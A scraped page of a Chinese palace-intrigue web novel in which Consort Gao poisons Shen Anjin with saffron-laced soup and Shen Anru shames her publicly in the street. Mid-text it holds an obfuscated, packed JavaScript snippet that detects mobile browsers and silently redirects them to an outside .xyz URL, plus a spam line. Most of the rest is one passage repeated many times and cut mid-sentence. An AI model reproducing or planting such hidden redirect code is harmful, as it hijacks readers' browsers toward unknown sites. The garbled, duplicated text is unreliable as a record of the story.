沈安锦终于出了小月子一出小月子就被高贵妃召见。 怀着孩子的沈安锦得高贵的夸赞没有了孩子的沈安锦对高贵妃来说无关紧要这个女人还敢算计到晚宁身上高贵妃自然不可能给她什么好脸色。 “锦儿给母妃请安。” 高贵妃看着跪在下方的沈安锦 “沈安锦你胆子不小居然敢陷害高家 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的姑娘。” 沈安锦心头一紧,身体微微颤抖,却还是强撑着镇定,抬起头,眼中蓄满泪水,带着几分委屈与哀怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215412|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 “母妃,锦儿冤枉,那日的事情真的是晚宁推我的,锦儿知道殿下还需要高家的支持,锦儿已经不计较了,如果殿下需要锦儿去道歉,锦儿也会去的。” “母妃,锦儿是真心的爱着殿下,只要为殿下好,锦儿什么都愿意做,哪怕委屈自己认下本不该认下的罪责,锦儿只求母妃相信,锦儿是冤枉的。” 唱的好一手小白花的戏码,高贵妃在宫里稳坐贵妃之位协理六宫这么多年,什么样的把戏没有见过,端着茶杯慢悠悠的喝着,目光犀利的打量着沈安锦。 沈安锦忍不住紧张的捏着首秀,这高贵妃不好对付,看样子是根本就不相信自己,就在沈安锦感觉腿都跪麻了,才传来高贵妃的声音。 “你这话当真?” 沈安锦急忙开口。 “绝对当真,只要是为了殿下好,锦儿什么都愿意做。” 呵!高贵妃的眼里闪过一抹嘲讽,随即换上了一副温柔的神情。 “起来吧。” 这是相信自己了?沈安锦急忙在梨花的搀扶下起来。 “锦儿多谢母妃的信任。” 高贵妃看着她开口。 “身子可好些了?” 看来高贵妃还是关心自己的,沈安锦急忙乖巧的回应。 “殿下很关心锦儿,这些日子让锦儿吃了不少的补品,现在锦儿的身子已经好了许多,母妃你放心,锦儿一定会尽快的好起来,再为殿下生下一个可爱的皇长孙。” 高贵妃闻言笑着开口。 “你与秦王恩爱倒是也是好事。” “秋嬷嬷,去将给锦侧妃准备的血燕端来。” 高贵妃居然还给自己准备了补品,沈安锦立即一脸喜意的开口。 “锦儿多谢母妃。” 秋嬷嬷嬷嬷的行礼退下,那看着沈安锦得目光却带着几分鄙夷。 很快秋嬷嬷端来一碗血燕,一脸笑意的开口。 “锦侧妃,这可是贵妃娘娘一早就吩咐人炖好的,现在温度刚刚好,您快吃,往后才好为殿下开枝散叶。” 沈安锦闻言,心中一阵感动,连忙接过血燕,感激地看着高贵妃。 “多谢母妃恩赐,锦儿一定不辜负母妃的期望。” 说着,沈安锦便舀起一勺血燕送入口中,细细品味。 这血燕口感细腻,香甜可口,显然是上等佳品。 沈安锦心中暗自窃喜,沈安若,你是太子妃又如何,太子不得皇上喜欢,也连带着讨厌你,皇后娘娘也不喜欢你,我虽然只是侧妃,可是秦王对我疼爱,高贵妃也对我看重,你终究还是不如我。 第一百二十五章 偶遇 看着沈安锦将一碗血燕喝完,高贵妃才开口道。 “天色不早了,你回去吧,再不回去,本宫怕秦王来跟本宫要人。” 沈安锦闻言起身行礼道。 “是,锦儿告退。” 看着沈安锦离开,秋嬷嬷开口道。 “娘娘对她还是仁慈的。” 高贵妃缓缓放下手中的茶杯。 “要不是秦王对她有几分着迷,本宫就应该直接除掉她,不知分寸的蠢货。” 长街上。 沈安若刚从一家首饰店出来。 翡儿的手里提着好几个盒子。 王司记也跟在沈安若的身边。 沈安若一脸笑意的开口。 “姨母,这天元的首饰就是精致,今日挑选的这几样都不错,姐姐一定会喜欢。” 王司记笑着开口。 “只要是殿下选的大小姐都会很喜欢。” 沈安若一脸得意的开口。 “那是,姐姐最喜欢我,也最喜欢我送的东西。” 沈安锦坐在马车里,掀起车帘子就刚好看着沈安若这一脸笑意的一幕。 沈安若怎么可以笑得这么灿烂?立即开口吩咐道。 “停车。” 马车缓缓停下,沈安锦眼神中满是嫉妒与怨恨,死死地盯着沈安若。 在梨花的搀扶下下了马车,款步走向沈安若,脸上挂着虚假的笑容。 “妹妹,真是好巧啊。”沈安锦阴阳怪气地说道。 沈安若看到沈安锦,微微一怔,随即恢复了万年不变的笑意。 “原来是锦侧妃,这是坐完小月子了?” 沈安锦闻言捏着手帕的手一紧,这个小**,目光扫过沈安若手中的盒子,冷笑一声。 “姐姐倒是悠闲,不像我,这有时间就要进宫陪婆母聊天,这不刚刚从宫里出来,还喝了一碗贵妃娘娘特意给我准备的血燕。” 就沈安锦诬陷高晚宁的事情,这高贵妃会对沈安锦这么好?沈安若笑了笑。 “那锦侧妃可要好好的珍惜这份婆媳缘分。” 沈安锦闻言看着沈安若。 “妹妹在街上闲逛,不进宫陪皇后娘娘说话吗?” “呀,不好意思啊妹妹,姐姐忘记了,皇后娘娘不喜欢你!” 好幼稚的炫耀,沈安若无语的笑笑。 忽然沈安锦眉头紧皱,随即伸手捂着自己的肚子。 整个人疼得弯腰。 沈安若不动声色的打量着, 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若偏头压低声音朝王司记开口。 “姨母,她刚刚说她这高贵妃那里用一碗血燕?” 王司记点了点头。 “是。” 沈安若脑子一灵光。 “看来,我们的贵妃娘娘动手了啊。” 沈安锦一脸愤怒的看着沈安若。 “沈安若,是不是你对我做了什么?” 沈安若又退了一步。 “你可不要胡乱冤枉人,这么多人看着的,我连你的衣角都没有碰到,我能对你做什么?” 说完又意味深长的看着沈安锦。 “你这不会是有什么被害妄想症吧?” 又看了看她的裙摆,看着沈安锦疼得都蹲下了身子。 “这么严重吗?” “快,大家快帮忙请一个大夫。” 王司记立即配合的拿出几块碎银子,请旁边看热闹的几个百姓。 “几位,这位疼得蹲在地上的是秦王府的锦侧妃,都说救人一命胜造七级浮屠,劳烦几位帮忙请一个大夫。” 百姓得了银子,很快就去请大夫了。 沈安锦只感觉腹部如同被刀子搅动般的疼痛,脸色都苍白了起来,梨花担忧的扶着她。 “侧妃。” “咱们先回马车上,回府有府医!” 沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若偏头压低声音朝王司记开口。 “姨母,她刚刚说她这高贵妃那里用一碗血燕?” 王司记点了点头。 “是。” 沈安若脑子一灵光。 “看来,我们的贵妃娘娘动手了啊。” 沈安锦一脸愤怒的看着沈安若。 “沈安若,是不是你对我做了什么?” 沈安若又退了一步。 “你可不要胡乱冤枉人,这么多人看着的,我连你的衣角都没有碰到,我能对你做什么?” 说完又意味深长的看着沈安锦。 “你这不会是有什么被害妄想症吧?” 又看了看她的裙摆,看着沈安锦疼得都蹲下了身子。 “这么严重吗?” “快,大家快帮忙请一个大夫。” 王司记立即配合的拿出几块碎银子,请旁边看热闹的几个百姓。 “几位,这位疼得蹲在地上的是秦王府的锦侧妃,都说救人一命胜造七级浮屠,劳烦几位帮忙请一个大夫。” 百姓得了银子,很快就去请大夫了。 沈安锦只感觉腹部如同被刀子搅动般的疼痛,脸色都苍白了起来,梨花担忧的扶着她。 “侧妃。” “咱们先回马车上,回府有府医!” 沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若偏头压低声音朝王司记开口。 “姨母,她刚刚说她这高贵妃那里用一碗血燕?” 王司记点了点头。 “是。” 沈安若脑子一灵光。 “看来,我们的贵妃娘娘动手了啊。” 沈安锦一脸愤怒的看着沈安若。 “沈安若,是不是你对我做了什么?” 沈安若又退了一步。 “你可不要胡乱冤枉人,这么多人看着的,我连你的衣角都没有碰到,我能对你做什么?” 说完又意味深长的看着沈安锦。 “你这不会是有什么被害妄想症吧?” 又看了看她的裙摆,看着沈安锦疼得都蹲下了身子。 “这么严重吗?” “快,大家快帮忙请一个大夫。” 王司记立即配合的拿出几块碎银子,请旁边看热闹的几个百姓。 “几位,这位疼得蹲在地上的是秦王府的锦侧妃,都说救人一命胜造七级浮屠,劳烦几位帮忙请一个大夫。” 百姓得了银子,很快就去请大夫了。 沈安锦只感觉腹部如同被刀子搅动般的疼痛,脸色都苍白了起来,梨花担忧的扶着她。 “侧妃。” “咱们先回马车上,回府有府医!” 沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若偏头压低声音朝王司记开口。 “姨母,她刚刚说她这高贵妃那里用一碗血燕?” 王司记点了点头。 “是。” 沈安若脑子一灵光。 “看来,我们的贵妃娘娘动手了啊。” 沈安锦一脸愤怒的看着沈安若。 “沈安若,是不是你对我做了什么?” 沈安若又退了一步。 “你可不要胡乱冤枉人,这么多人看着的,我连你的衣角都没有碰到,我能对你做什么?” 说完又意味深长的看着沈安锦。 “你这不会是有什么被害妄想症吧?” 又看了看她的裙摆,看着沈安锦疼得都蹲下了身子。 “这么严重吗?” “快,大家快帮忙请一个大夫。” 王司记立即配合的拿出几块碎银子,请旁边看热闹的几个百姓。 “几位,这位疼得蹲在地上的是秦王府的锦侧妃,都说救人一命胜造七级浮屠,劳烦几位帮忙请一个大夫。” 百姓得了银子,很快就去请大夫了。 沈安锦只感觉腹部如同被刀子搅动般的疼痛,脸色都苍白了起来,梨花担忧的扶着她。 “侧妃。” “咱们先回马车上,回府有府医!” 沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若偏头压低声音朝王司记开口。 “姨母,她刚刚说她这高贵妃那里用一碗血燕?” 王司记点了点头。 “是。” 沈安若脑子一灵光。 “看来,我们的贵妃娘娘动手了啊。” 沈安锦一脸愤怒的看着沈安若。 “沈安若,是不是你对我做了什么?” 沈安若又退了一步。 “你可不要胡乱冤枉人,这么多人看着的,我连你的衣角都没有碰到,我能对你做什么?” 说完又意味深长的看着沈安锦。 “你这不会是有什么被害妄想症吧?” 又看了看她的裙摆,看着沈安锦疼得都蹲下了身子。 “这么严重吗?” “快,大家快帮忙请一个大夫。” 王司记立即配合的拿出几块碎银子,请旁边看热闹的几个百姓。 “几位,这位疼得蹲在地上的是秦王府的锦侧妃,都说救人一命胜造七级浮屠,劳烦几位帮忙请一个大夫。” 百姓得了银子,很快就去请大夫了。 沈安锦只感觉腹部如同被刀子搅动般的疼痛,脸色都苍白了起来,梨花担忧的扶着她。 “侧妃。” “咱们先回马车上,回府有府医!” 沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若 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沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若偏头压低声音朝王司记开口。 “姨母,她刚刚说她这高贵妃那里用一碗血燕?” 王司记点了点头。 “是。” 沈安若脑子一灵光。 “看来,我们的贵妃娘娘动手了啊。” 沈安锦一脸愤怒的看着沈安若。 “沈安若,是不是你对我做了什么?” 沈安若又退了一步。 “你可不要胡乱冤枉人,这么多人看着的,我连你的衣角都没有碰到,我能对你做什么?” 说完又意味深长的看着沈安锦。 “你这不会是有什么被害妄想症吧?” 又看了看她的裙摆,看着沈安锦疼得都蹲下了身子。 “这么严重吗?” “快,大家快帮忙请一个大夫。” 王司记立即配合的拿出几块碎银子,请旁边看热闹的几个百姓。 “几位,这位疼得蹲在地上的是秦王府的锦侧妃,都说救人一命胜造七级浮屠,劳烦几位帮忙请一个大夫。” 百姓得了银子,很快就去请大夫了。 沈安锦只感觉腹部如同被刀子搅动般的疼痛,脸色都苍白了起来,梨花担忧的扶着她。 “侧妃。” “咱们先回马车上,回府有府医!” 沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 然后后退两步。 这孩子都没有了,又想出什么幺蛾子? 王司记眼尖的看到沈安锦裙子上染了血。 “殿下,她裙子上有血。” 沈安锦也反应过来了,满脸的惊慌,自己怎么会流血?还有肚子怎么这么疼? “我?” “我怎么会?” 沈安若偏头压低声音朝王司记开口。 “姨母,她刚刚说她这高贵妃那里用一碗血燕?” 王司记点了点头。 “是。” 沈安若脑子一灵光。 “看来,我们的贵妃娘娘动手了啊。” 沈安锦一脸愤怒的看着沈安若。 “沈安若,是不是你对我做了什么?” 沈安若又退了一步。 “你可不要胡乱冤枉人,这么多人看着的,我连你的衣角都没有碰到,我能对你做什么?” 说完又意味深长的看着沈安锦。 “你这不会是有什么被害妄想症吧?” 又看了看她的裙摆,看着沈安锦疼得都蹲下了身子。 “这么严重吗?” “快,大家快帮忙请一个大夫。” 王司记立即配合的拿出几块碎银子,请旁边看热闹的几个百姓。 “几位,这位疼得蹲在地上的是秦王府的锦侧妃,都说救人一命胜造七级浮屠,劳烦几位帮忙请一个大夫。” 百姓得了银子,很快就去请大夫了。 沈安锦只感觉腹部如同被刀子搅动般的疼痛,脸色都苍白了起来,梨花担忧的扶着她。 “侧妃。” “咱们先回马车上,回府有府医!” 沈安若在一旁开口。 “锦侧妃,你这忽然这样,怕不是中了什么毒?好心的提醒你一下,还是在这里等着大夫来为好,不然要是回府了,这路上一下子嗝屁了怎办?” 不得不说有钱能使鬼推磨,果然很快那几个百姓就拉着一个大夫过来。 “这是回春堂的陶大夫,是出了名的医术好,一定能够医治好锦侧妃的。” 沈安若对王司记使了一个眼神。 王司记笑着朝陶大夫开口。 “陶大夫,快给锦侧妃看看吧,这可是秦王最宠爱的锦侧妃,你要是救了锦侧妃,那可是大功一件啊。” 陶大夫一听是秦王府的侧妃,又见沈安锦疼得面色惨白、冷汗直冒,不敢有丝毫怠慢,赶忙上前蹲下身子,伸手搭在沈安锦的手腕上诊脉。 片刻后,陶大夫眉头紧皱,脸上露出凝重的神色。 “侧妃娘娘你这是食用了大量的藏红花啊,这怕是以后很难生育了。” 果然如此,不得不说贵妃娘娘的这一招虽然烂但是好使啊,这不锦侧妃已经中招了,沈安若提高了声音。 “哎呀,藏红花?” “锦侧妃,你怎么会食用藏红花呢?莫不是你与秦王的恩爱都是假的,其实你根本就不喜欢秦王,不然你怎么会食用这么多藏红花,不惜毁了自己的身子。” 藏红花,很难生育!沈安锦脸色更加苍白了,想起来宫里的那碗血燕,所以高贵妃根本就不相信自己的那一套说辞,她这是为了给高晚宁出气,要断了自己做母亲的路,好歹毒的心肠啊。 沈安锦委屈的眼泪都掉了下来。 王司记见状高声开口道。 “听闻锦侧妃是与秦王大街上偶遇的,莫不是秦王好色贪图锦侧妃的美貌,将锦侧妃强行抢入府中,这才让锦侧妃生恨,为了反抗不得不毁了自己的生育能力。” “呀,前些日子听说锦侧妃有了一个孩子还流产了,是不是锦侧妃因为憎恨秦王,也憎恨自己的孩子,这才故意落水打掉的。” 第一百三十五 被绕晕了 围观的百姓听了也开始议论纷纷。 “还有这么大的内幕吗?这秦王居然是强抢民女!” “这就不知道了,不过这锦侧妃居然食用了藏红花,看来是真的不想生下秦王殿下的孩子。” “是啊,没有听见说吗?这锦侧妃前段时间还故意弄掉了自己的孩子。” 听着百姓们指指点点议论纷纷的话,沈安锦咬着自己的舌尖,拼命的忍住疼痛,急忙开口道。 “我没有…………” 沈安若微微弯腰看着她的脸。 “你没有什么?” “没有食用藏红花,还是没有喜欢秦王。” “锦侧妃,你要是被秦王强占的,今日这么多人在这里,你可要当众说出来,本宫相信大家都会同情你的,会想帮你脱离秦王府那一个苦海的。” 王司记也开口附和道。 “是啊,锦侧妃,只要你今日当众说一句是秦王强迫你的,我们大家都会帮你的。” 围观的百姓见状都纷纷开口附和道。 “是啊锦侧妃,你说啊,是不是秦王强迫你的?” “对啊,你这都被逼得喝藏红花了,秦王也太过分了。” 秦王自己在天元的依靠,沈安锦着急的开口。 “没有的事,沈安若不要让你的人胡说八道,不然我回府给秦王说,秦王殿下让你吃不饱兜着走。” 沈安若闻言开口道。 “那你的意思你与秦王真心相爱的吗?” 沈安锦闻言急忙开口。 “我与秦王自然是真心相爱的。” 沈安若闻言一脸疑惑的开口。 “既然是真心相爱的,那你为什么要食用藏红花让自己以后不能生育?” 原本腹部就传来一阵又一阵的疼痛,在沈安若的质问下,沈安锦厉声开口。 “我没有食用藏红花…………” 沈安若继续开口。 